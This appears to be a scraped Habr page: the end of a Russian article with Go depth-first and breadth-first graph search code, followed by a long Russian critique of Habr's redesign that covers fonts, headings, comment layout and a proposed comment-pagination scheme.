searchStack = searchStack[:len(searchStack)-1]
if vertex.Mark != 1 {
if compare(vertex.Name) {
g.Unmark()
g.Vertexes = append(g.Vertexes, vertex)
return g.Vertexes, true
}
vertex.Mark = 1
g.Vertexes = append(g.Vertexes, vertex)
searchStack = append(searchStack, g.GetAdjacentVertices(vertex)...)
}
}
g.Unmark()
return nil, false
}
```
**Обход/поиск в ширину:**
В общем-то, в алгоритме происходит всё то же самое, только вместо того, чтобы идти "вглубь" графа, мы сначала идем по всем вершинам, смежным данной, после чего переходим к следующей, и вместо стека используем очередь.
Рис.4 Иллюстрация поиска / обхода в ширину.Ну и сам код:
```
// BFS Поиск в ширину
func (g *AbstractGraph[T]) BFS(start T, compare func(want T) bool) ([]*Node[T], bool) {
var searchQueue []*Node[T]
for vert := range g.Graph {
if vert.Name == start {
searchQueue = append(searchQueue, vert)
break
}
}
for len(searchQueue) != 0 {
var vertex = searchQueue[0]
searchQueue = searchQueue[1:]
if vertex.Mark != 1 {
if compare(vertex.Name) {
g.Unmark()
g.Vertexes = append(g.Vertexes, vertex)
return g.Vertexes, true
}
vertex.Mark = 1
g.Vertexes = append(g.Vertexes, vertex)
searchQueue = append(searchQueue, g.GetAdjacentVertices(vertex)...)
}
}
g.Unmark()
return nil, false
}
```
Заключение
----------
Было бы очень приятно услышать фидбэк от сообщества: какие есть недочеты в проекте, что мы упустили или сделали неправильно. Хочется создать хороший опенсорс проект, который не стыдно будет представить публике.
[Ссылка на GitHub-репозиторий](https://github.com/mishhgun01/graph-builder) | https://habr.com/ru/post/704730/ | null | ru | null |
# Новая версия Хабра. Ещё не всё потеряно, ещё не всё?… (часть вторая)
[](https://habr.com/ru/company/ruvds/blog/673352/)
*TL;DR — разбираю новую версию Хабра. В статье много текста и изображений.*
В прошлой части я разобрал мотивы создания новой версии Хабра и недочёты общего внешнего вида. В этой же затронем даже более важные вещи для пользователей — шрифты и комментарии.
Как бы это удивительно не звучало, но именно оформление текста являются определяющим фактором комфорта для информационного ресурса и в новой версии с этим есть кое-какие проблемы. Собственно как и с комментариями.
[**[ Первая часть ]**](https://habr.com/ru/company/ruvds/blog/673342/)
**Оглавление:**
* [**Шрифты и текст**](#heading_shrifty_i_tekst)
[Что не так со шрифтами на сайте?](#heading_chto_ne_tak_s_shriftami_na_sajte)
[Насыщенность шрифтов](#heading_nasyshennost_shriftov)
[Заголовки](#heading_zagolovki)
* [**Комментарии**](#heading_kommentarii)
[Оформление комментариев](#heading_oformlenie_kommentariev)
[Постраничная навигация для комментариев](#heading_postranichnaya_navigaciya_dlya_kommentariev)
* [**Заключение**](#heading_zaklyuchenie)
> **Дисклеймер**
>
>
>
> Всё что будет описано далее, является моим субъективным и профессиональным мнением с учётом многолетнего опыта разработки интерфейсов и принципов [UX/UI](https://skillbox.ru/media/design/ux_ui_dizayn_chto_eto_takoe/).
>
>
>
> Все представленные графические материалы желательно смотреть в оригинальном размере для более лучшего восприятия.
>
>
Шрифты и текст
--------------
Шрифты и правильное оформление текста это основа любого информационного сайта и часто самая проблемная его часть. Пользователь готов мириться с недостаточно хорошим дизайном, но только не с плохо подобранным шрифтом. А от этого сейчас страдает уж очень много сайтов.
Для начала рассмотрим два примера:
*Оформление поискового запроса Google с использованием шрифта Google Sans*
*Оформление поискового запроса Google с использованием шрифта Roboto*
Они оба довольно читабельны и приятны глазу. Сказать что какой-то из них явно лучше или хуже сходу нельзя. Многие даже не смогут заметить большой разницы.
А вот эти же два примера в другом представлении с более явными отличиями:
*Отрывок из сказки «Алиса в стране чудес» в оформлении шрифта Google Sans*
*Отрывок из сказки «Алиса в стране чудес» в оформлении шрифта Roboto*
И там и там оформление текста идентично, разница только в шрифте. Шрифт **Google Sans** более мягкий, более округлый и как будто не такой чёткий. В то же время **Roboto** более строгий и имеет более сильную выраженность.
Если взять среднестатистического человека, посадить его за обычный компьютер, дать ему большой текст в оформлении **Google Sans** и заставить прочесть, то он очень быстро пожалуется на уставшие глаза и сложность в усвоении прочитанной информации. Из-за мягкости шрифта глазам тяжело зацепиться за какие-то детали, что не даёт возможности расслабиться и просто воспринимать информацию.
Чего нельзя сказать о **Roboto**. Он не идеален, но за счёт строгости и чуть более сильной выраженности, текст в его оформлении можно читать довольно продолжительное время не уставая.
Но не стоит думать что все шрифты с сильной выраженностью хорошие.
Для примера посмотрим на Arial:
*Отрывок из сказки «Алиса в стране чудес» в оформлении шрифта Arial*
Сам по себе шрифт не плохой хоть и порядком устарел.
> Шрифт Arial был придуман в далёком 1982 году, в этом году ему исполняется 40 лет!
Основная его проблема — кириллица. Делали её западные специалисты без понимания специфики кириллического письма. Из-за чего шрифт получился грубоват и с мелкими дефектами. На больших объёмах текста он попросту неприятен, перетаскивает на себя слишком много внимания и всё так же утомителен как и **Google Sans**.
> Стоит помнить, что подобные примеры правдивы не для каждого. Всё зависит от устройства и восприятия самого человека.
Такая маленькая на первый взгляд деталь, а играет очень значимую роль в восприятии информации. Если часто читать текст со слабой или сильной выраженностью, человек адаптируется и проблема не будет такой явной, но полностью она не исчезнет. Именно из-за этого подбор хорошего шрифта для сайта так важен.
Девайсы с большой плотностью пикселей нивелируют большую часть проблем со шрифтами. Самих пикселей для отрисовки сильно больше, а значит алгоритм сглаживания будет работать лучше. Вот только подавляющая часть людей использует средне бюджетный сегмент устройств, где в этом плане не всё так хорошо, и часто дизайнеры об этом забывают.
### ▍Что не так со шрифтами на сайте?
Прежде чем приступить к разбору шрифтов на Хабре, посмотрим на то как их используют. Всего существует два типа шрифтов: локальные — располагаются на устройстве пользователя и веб-шрифты — загружаются на устройство пользователя вместе со страницей. Вторые особенно популярны, так как предлагают очень большой выбор, просты в использовании и дают максимально похожий результат на всех устройствах, даже с учётом особенностей сглаживания.
> Отрисовка и сглаживание текста очень сложная вещь как с точки зрения программной реализации, так и с работы самого алгоритма. И у каждой операционной системы или даже браузера эти алгоритмы свои и очень часто они работают не так как того ожидаешь.
Веб-шрифты имеют только один значимый минус — их нужно скачивать. Так очередной шрифт-толстячок может значительно ухудшить метрики сайта и комфорт пользователей. Особенно это остро чувствуется на бюджетных мобильных устройствах со слабым интернет-соединением.
Хотя с каждым годом эта ситуация становится всё лучше и лучше, а с удачным шрифтом вообще незаметна, многие разработчики вернулись к использованию системных шрифтов как к единому правильному решению. Но используя их теряется консистентность в угоду скорости и простоты.
> Стоит уточнить, что системные шрифты дают консистентность с операционной системой, но она не играет большой роли и практически полностью нивелируется огромным количеством сайтов, что используют веб-шрифты.
Основные принципы подключения шрифтов на сайт:
1. Использовать сторонние сервисы как Google Fonts:
```
```
```
body {
font-family: "Roboto", sans-serif;
}
```
Всё что нужно это найти подходящий шрифт и вставить несколько строк кода на сайт. В данном случае Google пришлёт уже оптимизированную и сжатую версию под конкретный браузер. Но из-за новых политик приватности и кэширования ресурсов, этот вариант больше не самый оптимальный, хотя и самый удобный.
2. Использовать файлы шрифтов у себя на сервере:
```
@font-face {
font-family: "Rubik";
font-style: normal;
font-weight: 400;
font-display: swap;
src: local("Rubik"), url("/fonts/rubik-regular.woff2?v=1984") format("woff2");
}
```
Теперь, чтобы получить максимальную пользу от веб-шрифтов, их нужно хранить локально на сервере вместе с самим сайтом и подключать на странице как можно раньше.
3. Использовать системные шрифты:
```
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
}
```
На многих сайтах можно заметить подобную запись. Браузер по очереди будет перебирать каждый шрифт до тех пор, пока не найдёт тот, что есть в операционной системе. Если такого шрифта нет, выберет любой системный шрифт соответствующий sans-serif (шрифт без засечек).
```
body {
font-family: -apple-system, system-ui, sans-serif;
}
```
А это уже более современный вариант предыдущей записи.
Системные шрифты хоть и обладают целым рядом преимуществ, всё же имеют много критических недостатков которые я разберу дальше.
Если посмотреть в код стилей Хабра, то можно увидеть вот такую картину:
* Шрифты используемые для текста в старой версии сайта:
```
body {
font-family: "-apple-system", BlinkMacSystemFont,"Segoe UI", Arial, sans-serif;
}
```
Это базовый перечень локальных шрифтов.
* Шрифты используемые для текста в новой версии сайта:
```
body {
font-family: -apple-system, BlinkMacSystemFont, Arial, sans-serif;
}
```
Это базовый перечень локальных шрифтов, но без **Segoe UI**.
* Шрифты используемые для заголовков в старой (локально) и в новой (Google Fonts) версиях сайта:
```
body {
font-family: Fira Sans, sans-serif;
}
```
Это веб-шрифт **Fira Sans**.
Команда Хабра не придерживается какой-то определённой практики и использует системные и веб-шрифты вместе (а зря).
Да, шрифты часто смешивают используя разные семейства для текста и заголовков. И при правильном сочетании, это очень помогает в навигации по материалу, благодаря хорошему визуальному разделению информации. Для системных шрифтов такого обычно не делают из-за большого риска получить несочетаемый вариант на какой-то из платформ. Затраты на поиск удачного решения просто не оправданы той пользой, что она приносит.
В новой версии смущает решение которое выбрала команда Хабра — отказаться от **Segoe UI**. Это значит что везде где есть **Arial** (здравствуй Windows) будет использоваться именно он. И это плохое решение. Уж слишком посредственно он выглядит на фоне современных аналогов. Сейчас использовать его в дизайне где есть большие объёмы текста лучше не стоит, так как он создаёт скорей негативный пользовательский опыт, чем позитивный.
Со шрифтом **Fira Sans** тоже есть проблемы. Его часто используют для заголовков, где он хорошо смотрится из-за своей выраженности и только при достаточно большом размере текста.
*Пример текста в оформлении шрифта Fira Sans*
Шрифт довольно капризный и требует настройки для каждого отдельного случая, что часто не делается. Мне кажется использование этого шрифта на Хабре просто является традицией. Я бы советовал всё же посмотреть на альтернативные варианты или хотя бы навести порядок в стилях оформления где используется **Fira Sans**.
Неужели так сложно подобрать хороший шрифт на сайт? Да, сложно, особенно кириллический!
Для Хабра важно, чтобы:
* Текст в оформлении шрифта имел приятный стиль и не вызывал усталости при длительном чтении.
* Жирный вариант насыщенности выделял важный текст и заголовки, а не смотрелся крикливо или излишне выразительно.
* Шрифт сильно не влиял на скорость загрузки сайта.
А что если попробовать подобрать более удачный шрифт для Хабра?
> Все далее представленные примеры оформлены в точности одинаково. Отличаются только сами семейства шрифтов.
Допустим что это будут системные шрифты, какой из них лучше всего подходит?
*Сравнение основных системных шрифтов разных операционных систем*
Сразу можно заметить что все представленные шрифты так или иначе отличаются и предоставляют разный пользовательский опыт в зависимости от платформы. Многие выступают за такой подход, вот только подобрать оформление для текста где бы все шрифты смотрелись удачное просто невозможно, а значит кому-то придётся мириться с неудобствами, чего желательно не допускать для сайта с большой аудиторией пользователей.
* **Arial** не подходит для Хабра. Основная его проблема в кириллице, строгости и общей выраженности. И если выраженность можно понизить за счёт более светлого цвета текста, то сами буквы вот никак не исправить. Шрифт требует сильной концентрации внимания что очень утомляет при длительном чтении.
* **Segoe UI** не подходит для Хабра, но лучше системного шрифта для Windows попросту нет. Страдает он и от чуть более сильной выраженности для жирного текста, и от слабой выраженности для обычного текста, и от грубой формы некоторых букв. Да и сам размер мелковат при стандартных значениях.
* **Roboto** подходит для Хабра, но с нюансами. Всё что ему нужно — чуть снизить строгость за счёт более светлого цвета текста и увеличенного межбуквенного интервала. Хоть это один из самых популярных шрифтов в мире, из-за особенностей оформления он нравится далеко не всем.
* **San Francisco** отлично подходит для Хабра, жаль только что он доступен лишь избранным. Один из лучших шрифтов что я когда-либо видел. Не знаю как у «гениев» из Apple получилось его сделать настолько удобным. Единственная его проблема — межбуквенный интервал, который нужно чуть-чуть уменьшить.
* **Ubuntu** не совсем подходит для Хабра. Шрифт обладает проблемами как с буквами, так и с общей шириной. Он вроде бы и хорошо выглядит, но с шероховатостями, что влияют на итоговый комфорт. И полностью избавиться от этих шероховатостей нельзя. Хорошо подходит для оформления заголовков, но не для текста.
Все эти шрифты должны предоставлять лучший пользовательский опыт на своей платформе, но из-за особенностей и мелких нюансов добиться приемлемого результата невозможно. Всё же между скоростью и комфортом я бы выбрал комфорт и перестал использовать системные шрифты в угоду более подходящих альтернатив. Или хотя бы отказался от **Arial** взамен на **Segoe UI**.
---
Со всех 20 веб-шрифтов что я успел проверить на новой версии, лучше всего себя показали эти четыре:
*Сравнение самых подходящих шрифтов для Хабра*
* **Noto Sans** довольно приятный шрифт. Обладает неким балансом между сильной и слабой выраженностью. Чуть шире чем хотелось бы, имеет огрехи в символах, что хоть и бросается в глаза, но общему комфорту не мешает.
*~96 кб в несжатом виде, за два варианта начертания (обычный и курсив), за три варианта насыщенности (400, 500, 700), латиница и кириллица в формате WOFF2.*
* **Inter** чуть более удачный вариант чем **Noto Sans** из-за своей стилистики и формы букв. Также требует чуть-чуть снизить строгость за счёт использования более светлого цвета текста. Хоть шрифт и не обладает отдельным набором курсивных символов, это не является проблемой так как браузер умеет сам обрабатывать такие варианты.
*~62 кб в несжатом виде, за один вариант начертания (отдельно курсив не представлен), за три варианта насыщенности (400, 500, 700), латиница и кириллица в формате WOFF2.*
* **Rubik** больше всего мне нравится, как стилистикой, так и создаваемыми ощущениями. Чтобы этот шрифт раскрылся по полной, ему нужно выраженность за счёт более светлого цвета текста и использовать не такой крикливый вариант насыщенности для заголовков и выделяемых слов.
*~132 кб в несжатом виде, за два варианта начертания (обычный и курсив), за три варианта насыщенности (400, 500, 700), латиница и кириллица в формате WOFF2.*
Не зря их используют в технических документациях и различного рода информационных ресурсах. Потому что все они прекрасно выполняют свою работу, не вызывая дискомфорта, не утомляя при длительном чтении и не отвлекая на себя много внимания. Все четыре шрифта отлично себя показали в новой версии сайта.
Разработка шрифтов авторами происходит в течение многих месяцев и требует высочайшей квалификации. Несмотря на тот факт что самих шрифтов существуют просто тысячи и тысячи, подобрать удачный для сайта, да так чтобы угодить как можно большему числу пользователей ещё та задача. На Хабре есть проблема как со шрифтами, так и с их оформлением и с этим нужно что-то делать. Я бы советовал или всё-таки провести работу по подбору более удачного веб-шрифта или хотя бы убрать **Arial**.
### ▍Насыщенность шрифтов
Удивительно, но даже у такой маленькой детали как насыщенность шрифта есть свои проблемы. Все старые шрифты имеют только два варианта насыщенности — обычная и жирная (normal и bold). Этого вполне хватало для выделения важных слов в тексте. Но с развитием веба и его всё большему сближению с принципами типографии, этого стало мало. И дело тут даже не столько в дизайнерских хотелках, сколько в желании предоставить пользователю более хорошие условия для восприятия информации.
Из-за алгоритмов сглаживания и более высокой плотности пикселей в экранах, жирная насыщенность во многих шрифтах стала слишком выразительной, слишком крикливой, слишком важной. Когда таких «важных» точек на сайте много, они переводят все ближайшие акценты на себя, тем самым нивелируя сам смысл выделения текста.
Чтобы этого не происходило, стали использовать шрифты с большим количеством вариантов насыщенности, где полужирный текст оставался таким же выразительным, но выглядел намного приятней и значительно читабельней. Вот только решив одну проблему — создали другую.
*Пример вариантов насыщенности шрифтов от самого тонкого 100 до самого толстого 900*
Дизайнеры разрабатывая новые шрифты сами выбирают сколько у них будет вариантов насыщенности. У некоторых так и остаётся всего два, а у некоторых получается и все девять. Или вообще значения как такового нет, потому что шрифт настраиваемый.
Допустим на сайте используются системные шрифты и полужирная насыщенность со значением в 500 единиц. Везде где она не поддерживается — текст будет обычным, а не слегка жирным как того ожидаешь. Отсутствующее значение всегда будет приравнено к ближайшему из возможных и простого инструментария как-то на это повлиять до сих пор не существует.
Подобное можно встретить и на Хабре:
*Внешний вид блока «Заказы» с поддержкой полужирной насыщенности и без неё. Сверху то как это задумано, снизу то как это отображается в системе Windows*
Текст в таких блоках имеет насыщенность в 500 единиц. На большинстве систем он будет выглядеть слегка жирным и только на Windows обычным. А всё потому что в оформлении используется шрифт **Arial**, который не поддерживает промежуточные варианты насыщенности. В этом и заключается основная проблема системных шрифтов как таковых — их сложно подстроить под единый вид на всех платформах. Остаётся только использовать обычную и жирную насыщенность чтобы не нарушать пользовательское восприятие.
Веб-шрифты могут показаться в этом плане более гибкими и консистентными, но с ними тоже не всё так просто:
*Отличия между вариантами насыщенности 500 и 700 у шрифтов: Inter, Roboto и Fira Sans*
Сразу можно заметить что одна и та же насыщенность сильно отличаются в разных семействах шрифтов. Даже полностью одинаковые значения не могут гарантировать такой же одинаковый результат отображения, особенно при малом размере текста. Чтобы акценты работали правильно, сейчас используют сразу три варианта насыщенности: обычный — для текста, полужирный — для выделения важных слов и жирный — для заголовков.
И на Хабре в этом плане тоже есть над чем поработать:
*Внешний вид части статьи, блока «Новости» и блока «Блог на Хабре»*
В этом примере обычный текст оформлен системным шрифтом **Arial** в насыщенности 400 и 700, а заголовок статьи, заголовки блока и само их наполнение — шрифтом **Fira Sans** в насыщенности 400 и 500. Текст самой статьи является более значимым по сравнению с другой информацией на странице. Чтобы это подчеркнуть его сделали почти чёрным, в то время как весь остальной — тёмно-серым.
Из-за этого, и в целом не совсем удачного шрифта **Fira Sans**, создаётся ощущение дисбаланса. Этот эффект ещё и усиливается новой блочной структурой, что не только нарушает все остальные акценты, но и негативно влияет на комфорт от использования. Лучше так не оставлять и всё оформление привести к более однородному виду для соблюдения визуального баланса.
Есть два варианта как его восстановить:
1. Выбрать один веб-шрифт для текста и всех заголовков, хорошо проработать акценты, проработать выраженность жирного варианта насыщенности для каждого элемента отдельно, привести всё к единому стилю и подобрать правильные цвета.
2. Навести порядок в локальных шрифтах чтобы они лучше смотрелись с **Fira Sans** и так же проработать акценты и выраженность жирного варианта насыщенности для каждого элемента отдельно, привести всё к единому стилю и подобрать правильные цвета.
Первый вариант будет более удачный и проще в реализации.
### ▍Заголовки
На Хабре есть как довольно маленькие статьи, так и целые полотна ни на один десяток минут. Естественно, весь этот объём информации нужно как-то красиво разделять и структурировать. Для чего, собственно и нужны заголовки. Неужели и здесь что-то сделано не так? Увы, но да.
Посмотрим как устроены заголовки на старой версии Хабра:
*Пример сравнения заголовков всех уровней на старой версии сайта*
По умолчанию, заголовки имеют выраженную визуальную иерархию за счёт размера текста, который уменьшается с каждым новым уровнем. Почему-то на старой версии решили обойтись только двумя размерами в 24 пикселя и 20 пикселей. Почему так сделали я не могу сказать, возможно чтобы авторы не злоупотребляли количеством подзаголовков в своих текстах и ссылались на более простую структуру. В любом случае это неправильный подход.
Для комфортной жизни и перекрытия большей части потребностей необходимо три уровня заголовков: H2, H3 и H4. Уровни H5 и H6 обычно не используются, так как они слишком мелкие. А H1 должен использоваться только один раз на странице и явно не в оформлении статьи.
Вот так в новой версии сайта:
*Пример сравнения заголовков всех уровней на новой версии сайта*
Тут уже ситуация получше и явно видно три уровня: 20 пикселей, 18 пикселей и 16 пикселей. Вроде бы сделали так как нужно, но нет. Размер текста заголовка получился слишком мелкий. Сам заголовок как разделитель текста работает хорошо только тогда, когда он больше основного текста и имеет явно выраженную визуальную иерархию. Мало того что теперь информационный контраст в общем стал хуже, так ещё и нужный H4 остался таким же бесполезным как был в старой версии.
А вот привычная и правильная иерархия:
*Пример сравнения заголовков всех уровней, как это должно быть правильно сделано*
Тут есть необходимые три размера H2-H4, которые имеют хорошее визуальное распределение и прекрасно выполняют свою работу. И это всё что нужно делать с заголовками.
При этом размер заголовков важен не только в оформлении самой статьи, но и в её названии:
*Внешний вид записи статьи в новой версии сайта*
Основная его проблема — размер. Он тут слишком мал, из-за чего теряется его выраженность на фоне других элементов записи. Естественно так лучше не оставлять.
Комментарии
-----------
Комментарии на Хабре это не просто механизм для обсуждения статей, это неотъемлемая часть жизни и формирования сообщества. Иногда комментарии бывают даже более полезны, чем сама статья, и их важность нельзя недооценивать. Сколько себя помню, с ними всегда были какие-то проблемы и несмотря на постоянные обновления и улучшения, кое-какие проблемы всё ещё остались.
### ▍Оформление комментариев
В новой версии к оформлению комментариев подошли как-то несерьёзно, особенно в мобильной.
Вот как выглядят комментарии в старой версии:
*Вид комментариев в старой версии сайта*
Не могу сказать что они идеальны, но смотрятся довольно неплохо и вложенность хорошо различима.
А вот как выглядят комментарии в новой версии:
*Вид комментариев в новой версии сайта*
Тут присутствует проблема с отступами, перенесён рейтинг в другое место из-за мобильной адаптации, сама вложенность считывается хуже, а её индикаторы всегда видны, что только мешает восприятию.
Но больше всего раздражает новая блочная структура:
*Вид блока с комментариями в новой версии сайта*
Она, как и текст, зажимает комментарии в рамки, тем самым нарушая комфорт от чтения. Но тут эффект заметен куда меньше из-за индикатора вложенности и дополнительного отступа с краю.
Есть предложение как можно сделать лучше:
*Пример оформления комментариев для новой версии сайта*
Это классический вариант с правильными отступами и более приятным внешним видом. Индикаторы вложенности в настольной версии будут скрыты как это было раньше, чтобы не мешали. Рейтинг вернулся на прежнее место.
Также в примере можно заметить визуальное отображение ответа на другой комментарий. Это удобно когда комментариев очень много и создаётся сильная глубина вложенности.
Это тот же самый пример что и выше, но с явным визуальным разделением на блоки:
*Пример оформления комментариев для новой версии сайта, но с выделением каждого комментарий в отдельный блок*
Так лучше видно границы каждого комментария и их вложенность, а благодаря большим внутренним отступам ещё и повышается комфорт при чтении.
А вот с мобильной версией всё намного сложнее:
*Мобильный вид комментариев в новой версии сайта*
Ну… комментарии здесь смотрятся ещё хуже, чем в настольной версии. Из-за ограниченности размера экрана устройства, появляется проблема визуального сдвига комментариев относительно уровня вложенности, что сильно сказывается на восприятия и удобстве использования.
Вариант, что был показан выше, но с адаптацией под мобильные устройства:
*Пример адаптированного мобильного вида комментариев в новой версии сайта. Слева — без разделения на блоки, справа — с разделением*
Явно читается приятнее и выглядит получше не правда ли? Вот только больше шести уровней вложенности сделать не получится. Это просто будет неудобно для пользовательского восприятия.
Для решения этой проблемы нужно идти другим путём:
*Пример адаптированного мобильного вида комментариев с безграничной вложенностью в новой версии сайта. Слева — без разделения на блоки, справа — с разделением*
Всё тот же вариант, только тут привычная всем вложенность отсутствует, теперь вместо неё визуальная индикация. Это решение может показаться не таким удобным как было раньше, но на самом деле пользователь быстро привыкает и далее просто пользуется без какого-либо дискомфорта.
Идём дальше:
*Пример адаптированного мобильного вида комментариев с возможностью скрыть лишнее в новой версии сайта. Слева — без разделения на блоки, справа — с разделением*
Это всё тот же вариант что и выше, но с чуть более упрощённым видом индикации ответов и возможностью быстро скрывать не интересующие ветки обсуждений.
Со всех перепробованных вариантов именно эти показались самыми удобными и приятными для глаз. Интересно будет ознакомиться с мнением публики на этот счёт.
### ▍Постраничная навигация для комментариев
На Хабре так исторически сложилось что комментарии загружаются сразу всё. Заходишь посмотреть какой-то интересный материал, объёмный такой материал, а там ещё 400 комментариев в придачу и всё это грузиться секунд пятнадцать в лучшем случае. Логично разбить комментарии на страницы и избавиться от этой проблемы, но только это не сделано, почему? На самом деле мало кто понимает как это всё работает и почему постраничная навигация для комментариев это такая большая проблема.
Комментарии из себя представляют древовидную структуру с очень глубокой вложенностью. Почему древовидную? Есть комментарии первого уровня, в них есть ответы, в ответах есть свои ответы и так до какого-то лимита. Каждый раз когда пользователь нажимает на кнопку «Ответить» и пишет комментарий, создаётся новая ветка для обсуждений. В итоге и получится дерево из таких веток.
Структурно это выглядит приблизительно так:
*Схема иерархии комментариев в виде дерева вложенности*
Использование подобной структуры порождает много проблем из-за вложенности. Она довольно громоздкая и её нельзя просто так взять и разбить на страницы. Каждый раз при навигации придётся выстраивать это дерево снова и снова, а это довольно недешёвая операция завязанная на рекурсии. Вот чтобы не строить деревья, все комментарии загружаются сразу, что ведёт к подтормаживаниям и задержкам при большом количестве записей. В общем проблема есть, проблема существенная и команда Хабра постепенно над ней работает.
Появилась отложенная загрузка комментариев и проделана большая работа по их оптимизации. И результат заметен, как в скорости загрузки самой статьи, так и в работе самих комментариев. Но если зайти на статью где комментариев ну прям очень много, можно обнаружить такую картину: отображается только 15 начальных и параллельно происходит загрузка всех остальных в фоновом режиме, напрямую или из кеша. На больших статьях или слабом мобильном интернете всё это жутко подтормаживает.
Понравилась кнопка в конце этих 15 комментариев. Я почему-то ожидал что она их и загружает, а она действительно только показывает.
*Отображение лимита комментариев на больших статьях в новой версии сайта*
От рекурсии и построения иерархии никуда не уйти. Но есть вариант как можно значительно улучшить ситуацию и реализовать постраничную навигацию.
Комментарии на Хабре имеют одну важную особенность — они не меняют своего положения относительно других комментариев со временем. То есть они всегда остаются в той же ветке и в том же порядке в котором были при публикации.
Представим что пользователь зашёл на статью где есть **140 комментариев** и хочет их прочесть. Для удобства они разбиты на страницы по **60 штук** на каждой. Стоит задача получить этот список и отобразить его на сайте.
Весь процесс будет проходить в пять этапов.
#### ▍Этап №1
В какой-то момент срабатывает событие получения списка комментариев, автоматически или по запросу пользователя. В этот момент отправляется запрос на сервер который будет ожидать ответ со списком комментариев для первой страницы.
*Схема выполнения этапа №1 — Пользователь — Событие на сайте — Сервер*
#### ▍Этап №2
Сервер обращается к базе данных для получения нужной информации и формирования обратного ответа на запрос. В запросе выбираются все комментарии, что относятся к нужной статье.
```
+-----+-----------+---------+------+---------------------+---------------------+
| id | parent_id | post_id | deep | content | date |
+-----+-----------+---------+------+---------------------+---------------------+
| 101 | 0 | 42 | 0 | Текст комментария | 1970.01.01 00:00:00 |
| 102 | 101 | 42 | 1 | Текст комментария | 1970.01.01 00:01:00 |
| 103 | 102 | 42 | 1 | Текст комментария | 1970.01.01 00:02:00 |
| 104 | 103 | 42 | 3 | Текст комментария | 1970.01.01 00:03:00 |
| 105 | 0 | 42 | 0 | Текст комментария | 1970.01.01 00:04:00 |
| 106 | 103 | 42 | 3 | Текст комментария | 1970.01.01 00:05:00 |
| 107 | 102 | 42 | 2 | Текст комментария | 1970.01.01 00:06:00 |
| 108 | 0 | 42 | 0 | Текст комментария | 1970.01.01 00:07:00 |
| 109 | 0 | 42 | 0 | Текст комментария | 1970.01.01 00:08:00 |
| 110 | 108 | 42 | 1 | Текст комментария | 1970.01.01 00:09:00 |
| 111 | 110 | 42 | 2 | Текст комментария | 1970.01.01 00:10:00 |
| 112 | 110 | 42 | 2 | Текст комментария | 1970.01.01 00:11:00 |
| ... | ... | ... | ... | ... | ... |
+-----+-----------+---------+------+---------------------+---------------------+
```
Со всей таблицы сейчас интересны только два поля:
* **id** — идентификатор комментария
* **parent\_id** — идентификатор комментария на который был дан ответ
Нужны они чтобы выстроить иерархию с помощью рекурсии, но теперь не в виде дерева с вложенностью, а в виде плоского списка данных. С ним приятней работать и проще разбивать на страницы. Да это всё та же рекурсия только тут она отрабатывает куда быстрее и нужна только на этом этапе.
```
+------------------------------------------------------------------------------+
| 101, 102, 103, 104, 106, 107, 105, 108, 110, 111, 112, 109, ... |
+------------------------------------------------------------------------------+
```
Согласно примеру в этом списке присутствует 140 идентификаторов комментариев.
*Схема выполнения этапа №2 — База данных — Запрос №1*
#### ▍Этап №3
Берётся результат предыдущего этапа и используется в новом запросе. Из этого списка нужны первые 60 значений идентификаторов для получения уже полной информации по выбранным комментариям.
```
+-----+-----------+---------+------+---------------------+---------------------+
| id | parent_id | post_id | deep | content | date |
+-----+-----------+---------+------+---------------------+---------------------+
| 101 | 0 | 42 | 0 | Текст комментария | 1970.01.01 00:00:00 |
| ... | ... | ... | ... | ... | ... |
| ... | ... | ... | ... | ... | ... |
| 161 | 121 | 42 | 2 | Текст комментария | 1970.01.01 01:01:00 |
+-----+-----------+---------+------+---------------------+---------------------+
```
Важно чтобы порядок выборки из базы точь-в-точь совпадал с порядком идентификаторов в массиве, иначе логика будет нарушена.
*Схема выполнения этапа №3 — База данных — Запрос №2*
#### ▍Этап №4
Пришло время сформировать и отправить ответ от сервера для SPA-приложения. Это будет объект в формате **JSON**. Сюда попадает как список идентификаторов из этапа №2, так и список комментариев из этапа №3.
*Схема выполнения этапа №4 — Формирование ответа от сервера*
#### ▍Этап №5
Получили ответ от сервера. Список идентификаторов просто сохраняется в памяти браузера, он понадобится позже. А вот список комментариев уже динамически отрисовывается для пользователя при помощи **Vue**. Первая страница комментариев готова.
*Схема выполнения этапа №5 — Обработка ответа и отрисовка комментариев*
Чтобы отобразить вторую, третью или четвёртую страницу уже нужно намного меньше действий. Формировать иерархию повторно не требуется, все данные уже есть и хранятся в памяти браузера. Из этого списка берутся следующие 60 идентификаторов и посылаются в новом запросе на сервер. А дальше повторяются этапы 3 и 4, но без лишних операций. В ответе теперь будет новый список комментариев, который дальше просто отрисовывается на сайте.
*Схема выполнения всех последующих запросов*
---
Ничего сложного тут нет, но есть свои нюансы. В начале горячих обсуждений система будет работать медленнее чем со временем, так как чаще запрашивается перестройка списка комментариев. Но потом 400 комментариев на статье не будут большой проблемой для пользователя. Также требования к стабильной работе самого алгоритма намного выше чем сейчас, но это того стоит за счёт создаваемого комфорта.
Встаёт ещё 2 вопроса: как теперь будет отображаться иерархия визуально если у нас нет вложенности и что будет с панелью быстрой навигации по новым ответам.
Начнём с отображения. Теперь структура вот такая:
*Схема иерархии комментариев в виде плоского списка*
Она значительно проще чем дерево с вложенностью. Реализовать в ней отступы поможет параметр глубины — **deep**. Его можно определять в момент добавления нового комментария и просто пересчитывать для всех существующих где он отсутствует.
*Схема визуального отображения комментариев. Слева — древовидное построение, справа — плоское*
Раньше у каждого контейнера был свой фиксированный отступ. Вложенность друг в друга создавала каскад и правильное визуальное отображение. Теперь каждый комментарий сможет сдвигать себя сам. Даже если ветка обсуждений будет разорвана постраничной навигацией, сдвиг всё равно сохраниться. Сложности такой подход вызывает с быстрым переходом от ответа к началу обсуждения, но и это решаемо.
Теперь насчёт сложности с навигацией по новым ответам. Это тоже легко решается.
*Внешний вид навигации по непрочитанным комментариям в новой версии сайта*
Опять же, всё необходимое есть в списке со всеми идентификаторами, что хранится в памяти браузера. При нажатии на стрелку вниз берётся идентификатор следующего непрочитанного комментария, находится в списке и рассчитывается номер страницы на которой он находиться. Далее остаётся просто перейти на страницу к нужному комментарию.
При тестировании этого алгоритма я не встретил явных проблем. Но могу упускать какие-то очень важные детали, особенно с неизвестной спецификой работы самого Хабра. В любом случае есть как минимум один вариант как это можно сделать.
Заключение
----------
